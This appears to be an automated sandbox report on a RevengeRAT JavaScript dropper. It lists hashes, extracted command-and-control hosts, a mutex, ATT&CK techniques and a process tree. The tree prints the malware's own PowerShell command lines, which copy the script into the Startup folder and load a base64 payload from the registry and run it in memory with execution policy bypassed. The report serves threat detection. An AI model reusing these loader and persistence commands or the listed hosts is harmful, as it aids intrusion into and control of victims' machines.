revengerat | 85303c6d78b4443b9df6e374924836a19ed824e0338632353e6b939aa8cc311f

General

Target

17a713ee3f40af5d8379f6555a0c117b.js
Size

32KB
MD5

17a713ee3f40af5d8379f6555a0c117b
SHA1

39a711b37c60b3a5c21087b5c5d579aeb43f1c02
SHA256

85303c6d78b4443b9df6e374924836a19ed824e0338632353e6b939aa8cc311f
SHA512

20a5010eaa1a40e70f864c0f90f25e3330af69d15a7ae57e18dc1ef39633599c2df0c84f04f29af55cb7f7358bba4d0ddeacf4cde7b63f9438e333fc8ddf610e
SSDEEP

768:NeNlC9F/C01WZ2b7BJyNo3pqRVtDab3mzcDeZT:NcCv/ZhJookR0Wzcu

Score

10^/10

revengerat office persistence stealer trojan

Malware Config

Extracted

Family

revengerat

Botnet

Office

C2

workwinrarhost.ddns.com.br:333

office.minhaempresa.tv:333

Mutex

RV_MUTEX-ViGGjjtnxDpnFw

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 2 IoCs

stealer

resource	yara_rule
behavioral2/memory/416-22-0x00000209E32D0000-0x00000209E32DA000-memory.dmp	revengerat
behavioral2/memory/832-35-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp	revengerat

Blocklisted process makes network request 16 IoCs

flow	pid	Process
31	416	powershell.exe
45	416	powershell.exe
47	416	powershell.exe
72	416	powershell.exe
82	416	powershell.exe
91	416	powershell.exe
103	416	powershell.exe
115	416	powershell.exe
153	416	powershell.exe
164	416	powershell.exe
172	416	powershell.exe
179	416	powershell.exe
188	416	powershell.exe
195	416	powershell.exe
205	416	powershell.exe
210	416	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\17a713ee3f40af5d8379f6555a0c117b.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Office = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
416	powershell.exe
832	powershell.exe
832	powershell.exe
416	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	416	powershell.exe
Token: SeDebugPrivilege	832	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 832	540	wscript.exe	90
PID 540 wrote to memory of 832	540	wscript.exe	90
PID 540 wrote to memory of 416	540	wscript.exe	91
PID 540 wrote to memory of 416	540	wscript.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\17a713ee3f40af5d8379f6555a0c117b.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\17a713ee3f40af5d8379f6555a0c117b.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\17a713ee3f40af5d8379f6555a0c117b.js'))"
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b0zxb4th.qh1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/416-22-0x00000209E32D0000-0x00000209E32DA000-memory.dmp

Filesize
40KB

Download
memory/416-39-0x00000209E32E0000-0x00000209E32F0000-memory.dmp

Filesize
64KB

Download
memory/416-19-0x00000209E54F0000-0x00000209E5534000-memory.dmp

Filesize
272KB

Download
memory/416-21-0x00007FFA57320000-0x00007FFA57DE1000-memory.dmp

Filesize
10.8MB

Download
memory/416-37-0x00000209E32E0000-0x00000209E32F0000-memory.dmp

Filesize
64KB

Download
memory/416-33-0x00007FFA57320000-0x00007FFA57DE1000-memory.dmp

Filesize
10.8MB

Download
memory/416-29-0x00000209E32E0000-0x00000209E32F0000-memory.dmp

Filesize
64KB

Download
memory/416-28-0x00000209E32E0000-0x00000209E32F0000-memory.dmp

Filesize
64KB

Download
memory/416-27-0x00000209E32E0000-0x00000209E32F0000-memory.dmp

Filesize
64KB

Download
memory/832-23-0x0000018A57400000-0x0000018A57476000-memory.dmp

Filesize
472KB

Download
memory/832-26-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp

Filesize
64KB

Download
memory/832-25-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp

Filesize
64KB

Download
memory/832-34-0x00007FFA57320000-0x00007FFA57DE1000-memory.dmp

Filesize
10.8MB

Download
memory/832-35-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp

Filesize
64KB

Download
memory/832-36-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp

Filesize
64KB

Download
memory/832-24-0x00007FFA57320000-0x00007FFA57DE1000-memory.dmp

Filesize
10.8MB

Download
memory/832-38-0x0000018A3AEC0000-0x0000018A3AED0000-memory.dmp

Filesize
64KB

Download
memory/832-18-0x0000018A56E30000-0x0000018A56E52000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads